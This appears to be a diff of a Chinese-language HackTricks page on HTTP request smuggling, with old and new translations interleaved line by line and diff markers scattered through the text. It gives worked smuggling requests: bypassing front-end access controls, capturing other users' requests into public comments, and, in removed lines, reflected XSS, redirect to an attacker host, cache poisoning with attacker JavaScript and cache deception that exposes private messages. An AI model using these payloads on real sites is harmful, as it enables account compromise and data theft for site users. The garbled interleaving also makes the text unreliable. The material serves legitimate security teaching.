<summary><strong>从零到英雄学习 AWS 黑客攻击,使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
* 如果你想在 HackTricks 中看到你的 **公司广告****下载 HackTricks 的 PDF** 版本,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family) * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注**我。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
```

View file

@ -1,63 +1,63 @@
# HTTP请求走私 / HTTP解同步攻击 # HTTP 请求串行攻击 / HTTP Desync 攻击
<details> <details>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
其他支持HackTricks的方式 支持 HackTricks 其他方式:
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) - 如果您想看到您的**公司在 HackTricks 中被广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) - 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) - 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** - 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
## 什么是 ## 什么是
当**前端代理**和**后端**服务器之间的**不同步**允许**攻击者**发送一个HTTP**请求**,该请求被**前端**代理(负载均衡/反向代理)解释为**单个请求**,而被**后端**服务器解释为**两个请求**时,就会发生这种漏洞。\ 当**前端代理**和**后端**服务器之间发生**不同步**时,会出现此漏洞,使得**攻击者**能够发送一个 HTTP **请求**,在**前端**代理(负载均衡/反向代理)中被**解释**为**单个请求**,而在**后端**服务器中被解释为**2个请求**。\
允许用户**修改下一个到达后端服务器的请求** 使得用户能够在**后端服务器接收到的下一个请求**之后修改该请求
### 理论 ### 理论
[**RFC规范 (2161)**](https://tools.ietf.org/html/rfc2616) [**RFC 规范2161**](https://tools.ietf.org/html/rfc2616)
> 如果一条消息同时收到了Transfer-Encoding头字段和Content-Length头字段后者必须被忽略 > 如果接收到同时具有传输编码头字段和内容长度头字段的消息,则必须忽略后者
**Content-Length** **Content-Length**
> Content-Length实体头指示发送给接收者的实体-体的大小,以字节为单位 > Content-Length 实体头指示发送给接收方的实体主体的字节数
**Transfer-Encoding: chunked** **Transfer-Encoding: chunked**
> Transfer-Encoding头指定用于安全传输有效载荷体到用户的编码形式。\ > Transfer-Encoding 头指定用于安全传输有效载荷体的编码形式。\
> Chunked意味着大数据以一系列块的形式发送 > Chunked 意味着大数据以一系列块的形式发送
### 现实 ### 现实情况
**前端**一个负载均衡/反向代理)处理**content-length**或**transfer-encoding**头,而**后端**服务器处理另一个头,导致两个系统之间的**不同步**。\ **前端**(负载均衡/反向代理)**处理** _**content-length**_ _**transfer-encoding**_ 头,而**后端**服务器**处理另一个**头,导致两个系统之间的**不同步**。\
这可能非常关键,因为**攻击者将能够发送一个请求**到反向代理,该请求将被**后端**服务器解释为**两个不同的请求**。这种技术的**危险**在于后端服务器将解释**注入的第二个请求**,好像它是**来自下一个客户端**,而该客户端的**真实请求**将成为**注入请求**的一部分。 这可能非常危险,因为**攻击者将能够向反向代理发送一个请求**,该请求将被**后端**服务器**解释为2个不同的请求**。这种技术的危险在于**后端**服务器将**解释****注入的第二个请求**,就好像它**来自下一个客户端**,而该客户端的**真实请求**将成为**注入请求**的一部分。
### 特 ### 特殊情况
记住在HTTP中**一个新行字符由2个字节组成** 请记住,在 HTTP 中,**换行符由 2 个字节组成**
* **Content-Length**:此头使用一个**十进制数**来指示请求**体**的**字节数**。请求体预期在最后一个字符结束,**请求结束时不需要新行**。 - **Content-Length**:此头使用**十进制数**指示请求主体的**字节数**。预期请求主体在最后一个字符结束,**在请求末尾不需要换行符**。
* **Transfer-Encoding**:此头在**体**中使用一个**十六进制数**来指示**下一个块**的**字节数**。**块**必须以**新行结束**,但这个新行**不被长度指示器计算**。这种传输方法必须以**大小为0的块结束后跟2个新行**`0` - **Transfer-Encoding**:此头在**主体**中使用**十六进制数**指示**下一个块**的**字节数**。**块**必须以**换行符结束**,但此换行符**不计入**长度指示符。此传输方法必须以**大小为 0 的块后跟 2 个换行符**结束`0`
* **Connection**:根据我的经验,建议在请求走私的第一个请求中使用**`Connection: keep-alive`**。 - **Connection**:根据我的经验,建议在请求串行的第一个请求中使用**`Connection: keep-alive`**。
## 基本示例 ## 基本示例
因此,请求走私攻击涉及将`Content-Length`头和`Transfer-Encoding`头放入单个HTTP请求中并操纵这些头使前端和后端服务器以不同的方式处理请求。具体做法取决于两个服务器的行为: 因此,请求串行攻击涉及将`Content-Length`头和`Transfer-Encoding`头放入单个 HTTP 请求中,并操纵这些头,使得前端和后端服务器对请求进行不同处理。具体操作方式取决于两个服务器的行为:
* **CL.TE**:前端服务器使用`Content-Length`头,后端服务器使用`Transfer-Encoding`头。 - **CL.TE**:前端服务器使用`Content-Length`头,后端服务器使用`Transfer-Encoding`头。
* **TE.CL**:前端服务器使用`Transfer-Encoding`头,后端服务器使用`Content-Length`头。 - **TE.CL**:前端服务器使用`Transfer-Encoding`头,后端服务器使用`Content-Length`头。
* **TE.TE**:前端和后端服务器都支持`Transfer-Encoding`头,但可以通过某种方式混淆头来诱导其中一个服务器不处理它。 - **TE.TE**:前端和后端服务器都支持`Transfer-Encoding`头,但可以通过某种方式使其中一个服务器不处理它。
### CL.TE漏洞 ### CL.TE 漏洞
在这里,**前端**服务器使用**`Content-Length`**头,**后端**服务器使用**`Transfer-Encoding`**头。我们可以执行一个简单的HTTP请求走私攻击,如下所示: 在这里,**前端**服务器使用**`Content-Length`**头,**后端**服务器使用**`Transfer-Encoding`**头。我们可以执行简单的 HTTP 请求串行攻击,如下所示:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable-website.com`\ `Host: vulnerable-website.com`\
@ -68,11 +68,11 @@
`GET /404 HTTP/1.1`\ `GET /404 HTTP/1.1`\
`Foo: x` `Foo: x`
注意`Content-Length`指示**请求体长度为30字节**_记住HTTP使用新行所以每个新行2字节_因此反向代理**将发送完整的请求**到后端,后端将处理`Transfer-Encoding`头,留下`GET /404 HTTP/1.1`作为**下一个请求的开始**(顺便说一下,下一个请求将附加到`Foo:x<Next request starts here>`)。 请注意,`Content-Length`指示**请求主体长度为 30 字节**_请记住 HTTP 使用换行符,每个换行符占 2 个字节_因此反向代理**将发送完整请求**到后端,并且后端将处理`Transfer-Encoding`头,将`GET /404 HTTP/1.1`留作**下一个请求的开头**(顺便说一句,下一个请求将附加到`Foo:x<下一个请求从这里开始>`)。
### TE.CL漏洞 ### TE.CL 漏洞
在这里,前端服务器使用`Transfer-Encoding`头,后端服务器使用`Content-Length`头。我们可以执行一个简单的HTTP请求走私攻击,如下所示: 在这里,前端服务器使用`Transfer-Encoding`头,后端服务器使用`Content-Length`头。我们可以执行简单的 HTTP 请求串行攻击,如下所示:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable-website.com`\ `Host: vulnerable-website.com`\
@ -84,15 +84,15 @@
`0`\ `0`\
`\` `\`
在这种情况下,**反向代理**将**发送整个请求**到**后端**,因为**`Transfer-encoding`**头指示了这样做。但是,**后端**将只**处理**`7b`**4字节**,如`Content-Length`中所示。因此,下一个请求将从`GET /404 HTTP/1.1`开始 在这种情况下,**反向代理**将**发送整个请求**到**后端**,因为**`Transfer-encoding`**指示如此。但是,**后端**将仅处理**`7b`**4 字节),如`Content-Length`所示。因此,下一个请求将是以`GET /404 HTTP/1.1`开头的请求。
_注意,即使攻击必须以`0`结束,下一个请求也将作为**x**参数的额外值附加。_\ _请注意,即使攻击必须以`0`结尾,下一个请求也将附加为**x**参数的额外值。_\
_还要注意嵌入请求的Content-Length将指示下一个请求的长度该请求将附加到**x**参数。如果它太小,只有几个字节将被附加如果太大大于下一个请求的长度将为下一个请求抛出错误。_ _还请注意,嵌入请求的 Content-Length 将指示将附加到**x**参数的下一个请求的长度。如果太小,将只附加几个字节如果太大大于下一个请求的长度将为下一个请求抛出错误。_
### TE.TE漏洞 ### TE.TE 漏洞
在这里,前端和后端服务器都支持`Transfer-Encoding`头,但可以通过某种方式混淆头来诱导其中一个服务器不处理它。\ 在这里,前端和后端服务器都支持`Transfer-Encoding`头,但其中一个服务器可以通过某种方式诱使不处理它。\
混淆`Transfer-Encoding`头的方法可能是无穷无尽的。例如: 可以通过各种方式混淆`Transfer-Encoding`头。例如:
`Transfer-Encoding: xchunked`\ `Transfer-Encoding: xchunked`\
``\ `Transfer-Encoding : chunked`\``\ ``\ `Transfer-Encoding : chunked`\``\
@ -106,13 +106,13 @@ _还要注意嵌入请求的Content-Length将指示下一个请求的长度
`Transfer-Encoding`\ `Transfer-Encoding`\
`: chunked` `: chunked`
根据**停止处理** **TE**头的服务器(反向代理或后端),您将发现**CL.TE漏洞**或**TE.CL漏洞** 根据**停止处理**TE 头的服务器(反向代理或后端),您将找到**CL.TE 漏洞**或**TE.CL 漏洞**
## 发现HTTP请求走私 ## 查找 HTTP 请求串行攻击
### 使用时序技术发现CL.TE漏洞 ### 使用定时技术查找 CL.TE 漏洞
如果应用程序对CL.TE变体的请求走私漏洞敏感那么发送如下请求通常会导致时间延迟: 如果应用程序容易受到请求串行攻击的 CL.TE 变体影响,则发送以下请求通常会导致时间延迟:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable-website.com Host: vulnerable-website.com
@ -124,19 +124,19 @@ Content-Length: 4
A A
0 0
``` ```
由于前端服务器使用 `Content-Length` 头,它将只转发这个请求的一部分,省略了 `0`。后端服务器使用 `Transfer-Encoding` 头,处理第一个块,然后等待下一个块到达。这将导致一个可观察的时间延迟。 由于前端服务器使用`Content-Length`头,它将仅转发此请求的一部分,省略`0`。后端服务器使用`Transfer-Encoding`头,处理第一个块,然后等待下一个块到达。这将导致可观察的时间延迟。
有时,你不会得到超时而是从最终主机收到一个400错误请求就像在以下情况中发送了一个CL.TE负载 有时,您不会收到超时而是从最终主机收到400错误请求就像在以下场景中发送CL.TE有效负载时一样
![](<../../.gitbook/assets/image (444).png>) ![](<../../.gitbook/assets/image (444).png>)
响应是一个包含错误的重定向在正文中甚至包含了haproxy的版本: 响应是一个重定向其中包含主体内的错误甚至包括使用的haproxy版本:
![](<../../.gitbook/assets/image (443).png>) ![](<../../.gitbook/assets/image (443).png>)
### 使用时序技术发现TE.CL漏洞 ### 使用时间技术查找TE.CL漏洞
如果应用程序对TE.CL变体的请求走私漏洞敏感那么发送如下请求通常会导致时间延迟: 如果应用程序容易受到请求走私的TE.CL变体的影响那么发送类似以下请求通常会导致时间延迟:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable-website.com Host: vulnerable-website.com
@ -147,43 +147,33 @@ Content-Length: 6
0 0
X X
``` ```
```markdown ### 探测 HTTP 请求串行漏洞
由于前端服务器使用 `Transfer-Encoding` 头,它将只转发这个请求的一部分,省略了 `X`。后端服务器使用 `Content-Length` 头,期望消息体中有更多内容,并等待剩余内容的到来。这将导致一个可观察的时间延迟。
### 探测HTTP请求走私漏洞 一旦您发现**时间技术有效**,您需要**探测**您是否可以**篡改其他客户端请求**。\
最简单的方法是尝试操纵自己的请求,例如**请求`/`返回404**。\
在[基本示例](./#basic-examples)中,我们已经看到了如何使用`CL.TE`和`TE.CL`示例来操纵客户端请求以请求`/404`从而在客户端请求任何其他资源时引发404响应。
一旦你发现**定时技术有效**,你需要**探测**你是否可以**改变其他客户端的请求**。\ **注意事项**
最简单的方法是尝试污染你自己的请求,例如**发出对`/`的请求返回404**。\
在[基本示例](./#basic-examples)中,我们已经看到了`CL.TE`和`TE.CL`的例子,如何通过请求`/404`来污染客户端的请求当客户端请求其他资源时引发404响应。
**注意** 在尝试通过干扰其他请求来确认请求串行漏洞时,应牢记以下重要考虑事项:
在尝试通过干扰其他请求来确认请求走私漏洞时,应该牢记一些重要的考虑因素: * “攻击”请求和“正常”请求应通过不同的网络连接发送到服务器。通过同一连接发送两个请求无法证明漏洞存在。
* “攻击”请求和“正常”请求应尽可能使用相同的 URL 和参数名称。这是因为许多现代应用程序根据 URL 和参数将前端请求路由到不同的后端服务器。使用相同的 URL 和参数增加了请求将由同一后端服务器处理的机会,这对攻击至关重要。
* 在测试“正常”请求以检测来自“攻击”请求的任何干扰时,您将与应用程序同时接收的任何其他请求(包括其他用户的请求)竞争。您应该在“攻击”请求之后立即发送“正常”请求。如果应用程序很忙,您可能需要多次尝试才能确认漏洞。
* 在某些应用程序中,前端服务器充当负载均衡器,并根据某些负载均衡算法将请求转发到不同的后端系统。如果您的“攻击”和“正常”请求被转发到不同的后端系统,则攻击将失败。这是您可能需要多次尝试才能确认漏洞的另一个原因。
* 如果您的攻击成功干扰了后续请求,但这不是您发送的“正常”请求以检测干扰的请求,则意味着另一个应用程序用户受到了您的攻击影响。如果您继续执行测试,这可能会对其他用户产生破坏性影响,因此您应该谨慎行事。
* "攻击"请求和"正常"请求应该使用不同的网络连接发送到服务器。通过同一连接发送两个请求将无法证明漏洞的存在。 ### 通过逐跳头强制
* "攻击"请求和"正常"请求应该尽可能使用相同的URL和参数名。这是因为许多现代应用程序会根据URL和参数将前端请求路由到不同的后端服务器。使用相同的URL和参数增加了请求将由同一后端服务器处理的机会这对攻击的成功至关重要。
* 在测试"正常"请求以检测是否受到"攻击"请求的干扰时,你正在与应用程序同时接收的任何其他请求(包括来自其他用户的请求)竞争。你应该在"攻击"请求之后立即发送"正常"请求。如果应用程序很忙,你可能需要进行多次尝试来确认漏洞。
* 在一些应用程序中,前端服务器充当负载均衡器,并根据某种负载均衡算法将请求转发到不同的后端系统。如果你的"攻击"和"正常"请求被转发到不同的后端系统,那么攻击将失败。这是你可能需要尝试多次才能确认漏洞的另一个原因。
* 如果你的攻击成功干扰了后续请求,但这不是你发送的用于检测干扰的"正常"请求,这意味着另一个应用程序用户受到了你攻击的影响。如果你继续进行测试,这可能会对其他用户造成破坏性影响,你应该谨慎行事。
### 通过逐跳头部强制执行 滥用逐跳头,您可以指示代理**删除标头 Content-Length 或 Transfer-Encoding 以便滥用 HTTP 请求串行漏洞**。
滥用逐跳头部,你可以指示代理**删除头部Content-Length或Transfer-Encoding从而可能滥用HTTP请求走私**。
```
``` ```
Connection: Content-Length Connection: Content-Length
``` ```
有关**跳跃式头部hop-by-hop headers**的更多信息,请访问: ## 滥用HTTP请求串联
{% content-ref url="../abusing-hop-by-hop-headers.md" %} ### 用于绕过前端安全控制
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}
## 滥用HTTP请求走私 有时**前端代理会执行一些安全检查**。您可以通过滥用HTTP请求串联来**绕过这些保护措施**。例如,在这个例子中,您**无法从外部访问`/admin`**,而前端代理正在检查,但是这个**代理没有检查嵌入的请求**
### 绕过前端安全控制
有时**前端代理会执行一些安全检查**。您可以通过滥用HTTP请求走私来避免这些检查因为您将能够**绕过保护措施**。例如,在此示例中,您**无法从外部访问`/admin`**,前端代理正在检查这一点,但这个**代理没有检查嵌入的请求**
**CL.TE** **CL.TE**
@ -219,11 +209,11 @@ Connection: Content-Length
### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a> ### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
在许多应用程序中,**前端服务器在将请求转发到后端服务器之前会对请求进行一些重写**,通常是通过添加一些额外的请求头。\ 在许多应用程序中,**前端服务器在将请求转发到后端服务器之前执行一些请求重写**,通常是通过添加一些额外的请求头。\
个常见的做法是向请求中**添加头部**`X-Forwarded-For: <客户端的IP>`或类似的头部以便后端知道客户端的IP。\ 种常见的做法是**在请求中添加标头** `X-Forwarded-For: <客户端的IP>` 或类似的标头以便后端知道客户端的IP。\
有时,如果您能够**找到哪些新值被附加**到请求中,您可能能够**绕过保护措施**并**访问隐藏的信息**/**端点**。 有时,如果您能**找到附加到请求的新值**,您可能能够**绕过保护措施**并**访问隐藏的信息**/**端点**。
为了发现代理如何重写请求,您需要**找到一个POST参数后端会在响应中反映其值**。然后,将此参数作为最后一个参数,并使用类似这样的漏洞利用: 要发现代理如何重写请求,您需要**找到后端将反映其值的POST参数**。然后,将此参数放在最后一个位置,并使用类似于以下示例的利用:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable-website.com`\ `Host: vulnerable-website.com`\
@ -234,16 +224,16 @@ Connection: Content-Length
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\ ``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
`search=` `search=`
在这种情况下,下一个请求将附加在`search=`之后,这也是**将在响应中反映其值的参数**,因此它将**反映下一个请求的头**。 在这种情况下,下一个请求将附加在`search=`之后,这也是**将在响应中反映其值的参数**,因此它将**反映下一个请求的头**。
请注意,**只有嵌入请求的`Content-Length`头部中指示的长度将被反映**。如果您使用较低的数字,只会反映几个字节;如果您使用的数字大于所有头部的长度,则嵌入的请求将抛出错误。然后,您应该**从一个小数字开始**并**逐渐增加**,直到您看到所有您想看到的内容。\ 请注意,**仅会反映嵌入请求的`Content-Length`标头中指示的长度**。如果使用较小的数字,只会反映少量字节,如果使用比所有标头长度更大的数字,则嵌入请求将引发错误。因此,您应该**从一个小数字开始**,然后**逐渐增加**,直到看到您想要看到的所有内容。\
请注意,这种**技术也可以利用TE.CL**漏洞,但请求必须以`search=\r\n0`结束。然而,无论新行字符如何,值都将被附加到搜索参数。 要注意,**此技术也可利用TE.CL**漏洞,但请求必须以`search=\r\n0`结尾。但是,无论新行字符如何,值都将附加到搜索参数。
最后请注意,在这次攻击中,我们仍然是在攻击自己以了解前端代理如何重写请求。 最后请注意,在此攻击中,我们仍在攻击自己以了解前端代理如何重写请求。
### 捕获其他用户的请求 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a> ### 捕获其他用户的请求 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
如果您能找到一个POST请求该请求将保存其中一个参数的内容您可以将以下请求作为该参数的值附加上去,以便存储下一个客户端的请求: 如果您能找到一个将保存某个参数内容的POST请求您可以将以下请求附加为该参数的值,以便存储下一个客户端的请求:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\ `Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
@ -261,136 +251,11 @@ Connection: Content-Length
\`\`\ \`\`\
`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=` `csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`
在这种情况下,**参数comment的值**将被**保存在页面上一个公开可见的帖子的评论中**,因此**将出现一个带有下一个请求内容的评论** 在这种情况下,**参数comment**的值将被**保存在页面上一个公开可见的帖子的评论**中,因此将显示一个带有下一个请求内容的评论
_这种技术的一个限制是,它通常只能捕获到走私请求中适用的参数分隔符之前的数据。对于URL编码的表单提交这将是`&`字符,这意味着从受害用户请求中存储的内容将在第一个`&`处结束,甚至可能出现在查询字符串中。_ _这种技术的一个限制是通常只能捕获直到适用于串联请求的参数分隔符的数据。对于URL编码的表单提交这将是`&`字符,这意味着从受害用户请求中存储的内容将在第一个`&`处结束甚至可能出现在查询字符串中。_
还请注意,这种**技术也可以利用TE.CL**漏洞,但请求必须以`search=\r\n0`结束。然而,无论新行字符如何,值都将被附加到搜索参数。 还要注意,**此技术也可利用TE.CL**漏洞,但请求必须以`search=\r\n0`结尾。但是,无论新行字符如何,值都将附加到搜索参数。
### 利用HTTP请求走私来利用反射型XSS
如果网页也**容易受到反射型XSS的攻击**您可以滥用HTTP请求走私来攻击网站的客户端。从HTTP请求走私利用反射型XSS有一些优势
* **不需要与受害用户进行互动**
* 它可以用来**利用**在正常反射型XSS攻击中**无法轻易控制的请求部分**的XSS行为例如HTTP请求头部。
如果一个网站在User-Agent头部容易受到反射型XSS的攻击您可以使用以下有效载荷来利用它
`POST / HTTP/1.1`\
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
`User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0`\
`Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY`\
`Transfer-Encoding: chunked`\
`Connection: keep-alive`\
`Content-Length: 213`\
`Content-Type: application/x-www-form-urlencoded`\
``\ `0`\``\
`GET /post?postId=2 HTTP/1.1`\
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
`User-Agent: "><script>alert(1)</script>`\
`Content-Length: 10`\
`Content-Type: application/x-www-form-urlencoded`\
\`\`\
`A=`
### 利用HTTP请求走私将站内重定向变为开放重定向 <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
许多应用程序执行从一个URL到另一个URL的站内重定向并将请求的`Host`头部中的主机名放入重定向URL中。例如Apache和IIS Web服务器的默认行为当请求一个没有尾部斜杠的文件夹时会收到一个重定向到包含尾部斜杠的同一文件夹的重定向
`GET /home HTTP/1.1`\
`Host: normal-website.com`\
\`\`\
`HTTP/1.1 301 Moved Permanently`\
`Location: https://normal-website.com/home/`
这种行为通常被认为是无害的,但它可以在请求走私攻击中被利用,将其他用户重定向到外部域。例如:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Content-Length: 54`\
`Connection: keep-alive`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /home HTTP/1.1`\
`Host: attacker-website.com`\
`Foo: X`
走私的请求将触发重定向到攻击者的网站,这将影响后端服务器处理的下一个用户请求。例如:
`GET /home HTTP/1.1`\
`Host: attacker-website.com`\
`Foo: XGET /scripts/include.js HTTP/1.1`\
`Host: vulnerable-website.com`\
\`\`\
`HTTP/1.1 301 Moved Permanently`\
`Location: https://attacker-website.com/home/`
在这里用户请求的是网站上的页面导入的JavaScript文件。攻击者可以通过在响应中返回他们自己的JavaScript来完全危害受害用户。
### 利用HTTP请求走私执行Web缓存投毒 <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
如果**前端基础设施的任何部分执行内容缓存**(通常出于性能原因),那么**可能可以通过修改服务器的响应来投毒该缓存**。
我们已经看到了如何修改服务器返回的预期值为404在[基本示例](./#basic-examples)中),以类似的方式,您可以使服务器在投毒请求请求`/static/include.js`时返回`/index.html`的内容。这样,`/static/include.js`的内容将被缓存为`/index.html`的内容,使得`/static/include.js`对客户端不可访问DoS?)。
请注意,如果您发现一些**开放重定向**或一些**站内重定向到开放重定向**(上一节),这将更加有趣。因为,您可以**更改`/static/include.js`的缓存值**为**由您控制的脚本的值**(对所有尝试下载新版本的`/static/include.js`的客户端进行**普遍的XSS攻击**)。
在这个示例中,将展示如何利用**缓存投毒+站内重定向到开放重定向**来修改`/static/include.js`的缓存内容,以**提供攻击者控制的JS代码**
`POST / HTTP/1.1`\
`Host: vulnerable.net`\
`Content-Type: application/x-www-form-urlencoded`\
`Connection: keep-alive`\
`Content-Length: 124`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /post/next?postId=3 HTTP/1.1`\
`Host: attacker.net`\
`Content-Type: application/x-www-form-urlencoded`\
`Content-Length: 10`\
\`\`\
`x=1`
注意嵌入的请求是请求`/post/next?postId=3`。这个请求将被重定向到`/post?postId=4`,并**将使用Host头部的值**来指示域名。因此,您可以**修改Host头部**指向攻击者的服务器,重定向将使用该域名(**站内重定向到开放重定向**)。
然后,在**投毒套接字**之后,您需要发送一个**GET请求**到**`/static/include.js`**,这个请求将被**站内重定向到开放重定向**请求**投毒**,并将**抓取攻击者控制的脚本的内容**。
下次有人请求`/static/include.js`时将提供攻击者脚本的缓存内容普遍的XSS
### 利用HTTP请求走私执行Web缓存欺骗 <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **Web缓存投毒和Web缓存欺骗之间有什么区别**
>
> * 在**Web缓存投毒**中,攻击者导致应用程序在缓存中存储一些恶意内容,这些内容从缓存中提供给其他应用程序用户。
> * 在**Web缓存欺骗**中,攻击者导致应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
在这种变体中,攻击者走私了一个返回一些敏感的用户特定内容的请求。例如:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
如果**投毒达到了正在访问一些静态内容**如`/someimage.png`的客户端,这些内容将被**缓存**。受害者的`/private/messages`内容将被缓存在`/someimage.png`中,攻击者将能够窃取它们。\
请注意,**攻击者不知道受害者试图访问哪些静态内容**,所以测试这个可能的最佳方式是执行攻击,等待几秒钟,**加载所有**静态内容并**搜索私人数据**。
### 利用HTTP响应不同步武器化HTTP请求走私
您发现了一些HTTP请求走私漏洞但不知道如何利用它。尝试这些其他利用方法
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}
## Turbo intruder 脚本
### CL.TE
来自 [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
@ -431,7 +296,7 @@ table.add(req)
``` ```
### TE.CL ### TE.CL
来自:[https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover) From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, engine = RequestEngine(endpoint=target.endpoint,
@ -475,9 +340,9 @@ table.add(req)
``` ```
## 更多信息 ## 更多信息
![](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg) ![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
